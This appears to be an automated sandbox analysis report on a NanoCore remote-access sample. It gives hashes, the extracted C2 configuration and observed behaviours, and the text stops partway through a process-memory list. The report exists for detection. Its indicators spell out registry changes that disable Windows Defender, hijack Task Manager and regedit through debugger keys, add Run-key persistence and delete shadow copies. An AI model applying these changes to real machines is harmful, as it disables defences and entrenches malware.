Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
07/08/2026, 13:10
Behavioral task
behavioral1
Sample
themarketnyc.com_chrome.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
47 signatures
150 seconds
Behavioral task
behavioral2
Sample
themarketnyc.com_chrome.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
44 signatures
150 seconds
General
- Target themarketnyc.com_chrome.exe
- Size 49KB
- Sample260807-qef7dswdlc
- SHA256 80fc900723581ca8e49d7175ddfdae1cd62840286ce7d411904ac4d2492dd250
- MD5 8e743ca1f5b290d6b0699958a205f07b
- SHA1 d8e0742f5a347c69033f51d074b5652bf9d1cbe8
- SHA512 cd8dfb034d91ad94519fffafb988d28ccd1ec91b07fb89c594f16c5916a2d117de2f76fcc4c0a2a9e8c043992bc2166b001db886e08a72af5b21b5c85afef5b7
- SSDEEP 768:ehTDb3uOriweukumSLjLb4x//o4vC1XXGblfA0lKKFcC:uTXu41kUzUxI4vEXGblf9lKucC
- TLSH T19033F71477F98211F1BF4AB98DB182119B31B8A79C32D78D06D5058E1AB3B40DEE8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://themarketnyc.com
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://themarketnyc.com
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/4564-0-0x00000000007D0000-0x00000000007E2000-memory.dmp disable_win_def behavioral1/files/0x0007000000024a12-2382.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" themarketnyc.com_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" themarketnyc.com_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3528 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" themarketnyc.com_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts themarketnyc.com_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe themarketnyc.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\themarketnyc.com_chrome.exe" themarketnyc.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe themarketnyc.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\themarketnyc.com_chrome.exe" themarketnyc.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe themarketnyc.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\themarketnyc.com_chrome.exe" themarketnyc.com_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1192 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation themarketnyc.com_chrome.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf themarketnyc.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf themarketnyc.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf themarketnyc.com_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\themarketnyc.com_chrome.exe" themarketnyc.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\themarketnyc.com_chrome.exe" themarketnyc.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\themarketnyc.com_chrome.exe" themarketnyc.com_chrome.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 4400 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe themarketnyc.com_chrome.exe File created C:\Windows\system32\sysupdate.exe themarketnyc.com_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe themarketnyc.com_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 5904 wscript.exe 6004 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" themarketnyc.com_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" themarketnyc.com_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3436 sc.exe 3636 sc.exe 5080 sc.exe 3760 sc.exe 2320 sc.exe 2872 sc.exe 3504 sc.exe 4872 sc.exe 3260 sc.exe 3816 sc.exe 2640 sc.exe 2992 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5624 cmd.exe 5960 cmd.exe 5704 cmd.exe 5788 cmd.exe 5660 cmd.exe 5592 cmd.exe 5464 cmd.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 220 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 6116 ipconfig.exe 364 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 6124 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1452 vssadmin.exe 2388 vssadmin.exe 892 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\WallpaperStyle = "2" themarketnyc.com_chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134305818369535259" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\ms-settings themarketnyc.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\ms-settings\shell themarketnyc.com_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\ms-settings\shell themarketnyc.com_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\.pdf\ = "PDFBotnet" themarketnyc.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\ms-settings\shell\open\command themarketnyc.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command themarketnyc.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet themarketnyc.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\themarketnyc.com_chrome.exe\" \"%1\"" themarketnyc.com_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\ms-settings\shell\open\command themarketnyc.com_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\ms-settings\shell\open themarketnyc.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open themarketnyc.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\ms-settings\shell\open themarketnyc.com_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\themarketnyc.com_chrome.exe" themarketnyc.com_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\ms-settings\shell\open\command\DelegateExecute themarketnyc.com_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\ms-settings themarketnyc.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell themarketnyc.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2500 schtasks.exe 5324 schtasks.exe 6092 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 556 chrome.exe 556 chrome.exe 3528 powershell.exe 3528 powershell.exe 3528 powershell.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe 4564 themarketnyc.com_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4564 themarketnyc.com_chrome.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 556 chrome.exe Token: SeCreatePagefilePrivilege 556 chrome.exe Token: SeShutdownPrivilege 556 chrome.exe Token: SeCreatePagefilePrivilege 556 chrome.exe Token: SeIncreaseQuotaPrivilege 1248 WMIC.exe Token: SeSecurityPrivilege 1248 WMIC.exe Token: SeTakeOwnershipPrivilege 1248 WMIC.exe Token: SeLoadDriverPrivilege 1248 WMIC.exe Token: SeSystemProfilePrivilege 1248 WMIC.exe Token: SeSystemtimePrivilege 1248 WMIC.exe Token: SeProfSingleProcessPrivilege 1248 WMIC.exe Token: SeIncBasePriorityPrivilege 1248 WMIC.exe Token: SeCreatePagefilePrivilege 1248 WMIC.exe Token: SeBackupPrivilege 1248 WMIC.exe Token: SeRestorePrivilege 1248 WMIC.exe Token: SeShutdownPrivilege 1248 WMIC.exe Token: SeDebugPrivilege 1248 WMIC.exe Token: SeSystemEnvironmentPrivilege 1248 WMIC.exe Token: SeRemoteShutdownPrivilege 1248 WMIC.exe Token: SeUndockPrivilege 1248 WMIC.exe Token: SeManageVolumePrivilege 1248 WMIC.exe Token: 33 1248 WMIC.exe Token: 34 1248 WMIC.exe Token: 35 1248 WMIC.exe Token: 36 1248 WMIC.exe Token: SeShutdownPrivilege 556 chrome.exe Token: SeCreatePagefilePrivilege 556 chrome.exe Token: SeBackupPrivilege 2144 vssvc.exe Token: SeRestorePrivilege 2144 vssvc.exe Token: SeAuditPrivilege 2144 vssvc.exe Token: SeDebugPrivilege 3528 powershell.exe Token: SeShutdownPrivilege 556 chrome.exe Token: SeCreatePagefilePrivilege 556 chrome.exe Token: SeIncreaseQuotaPrivilege 1248 WMIC.exe Token: SeSecurityPrivilege 1248 WMIC.exe Token: SeTakeOwnershipPrivilege 1248 WMIC.exe Token: SeLoadDriverPrivilege 1248 WMIC.exe Token: SeSystemProfilePrivilege 1248 WMIC.exe Token: SeSystemtimePrivilege 1248 WMIC.exe Token: SeProfSingleProcessPrivilege 1248 WMIC.exe Token: SeIncBasePriorityPrivilege 1248 WMIC.exe Token: SeCreatePagefilePrivilege 1248 WMIC.exe Token: SeBackupPrivilege 1248 WMIC.exe Token: SeRestorePrivilege 1248 WMIC.exe Token: SeShutdownPrivilege 1248 WMIC.exe Token: SeDebugPrivilege 1248 WMIC.exe Token: SeSystemEnvironmentPrivilege 1248 WMIC.exe Token: SeRemoteShutdownPrivilege 1248 WMIC.exe Token: SeUndockPrivilege 1248 WMIC.exe Token: SeManageVolumePrivilege 1248 WMIC.exe Token: 33 1248 WMIC.exe Token: 34 1248 WMIC.exe Token: 35 1248 WMIC.exe Token: 36 1248 WMIC.exe Token: SeShutdownPrivilege 556 chrome.exe Token: SeCreatePagefilePrivilege 556 chrome.exe Token: SeShutdownPrivilege 556 chrome.exe Token: SeCreatePagefilePrivilege 556 chrome.exe Token: SeDebugPrivilege 4564 themarketnyc.com_chrome.exe Token: SeShutdownPrivilege 556 chrome.exe Token: SeCreatePagefilePrivilege 556 chrome.exe Token: SeShutdownPrivilege 556 chrome.exe Token: SeCreatePagefilePrivilege 556 chrome.exe Token: SeIncBasePriorityPrivilege 4564 themarketnyc.com_chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe 556 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4564 themarketnyc.com_chrome.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4564 wrote to memory of 556 4564 themarketnyc.com_chrome.exe 86 PID 556 wrote to memory of 732 556 chrome.exe 87 PID 4564 wrote to memory of 3528 4564 themarketnyc.com_chrome.exe 88 PID 4564 wrote to memory of 3816 4564 themarketnyc.com_chrome.exe 89 PID 4564 wrote to memory of 5080 4564 themarketnyc.com_chrome.exe 91 PID 4564 wrote to memory of 3760 4564 themarketnyc.com_chrome.exe 93 PID 4564 wrote to memory of 2320 4564 themarketnyc.com_chrome.exe 95 PID 4564 wrote to memory of 2640 4564 themarketnyc.com_chrome.exe 98 PID 4564 wrote to memory of 2992 4564 themarketnyc.com_chrome.exe 100 PID 4564 wrote to memory of 2872 4564 themarketnyc.com_chrome.exe 102 PID 4564 wrote to memory of 3504 4564 themarketnyc.com_chrome.exe 104 PID 4564 wrote to memory of 2608 4564 themarketnyc.com_chrome.exe 106 PID 556 wrote to memory of 2176 556 chrome.exe 107 PID 556 wrote to memory of 220 556 chrome.exe 109 PID 556 wrote to memory of 2176 556 chrome.exe 107 PID 556 wrote to memory of 216 556 chrome.exe 110 PID 556 wrote to memory of 1476 556 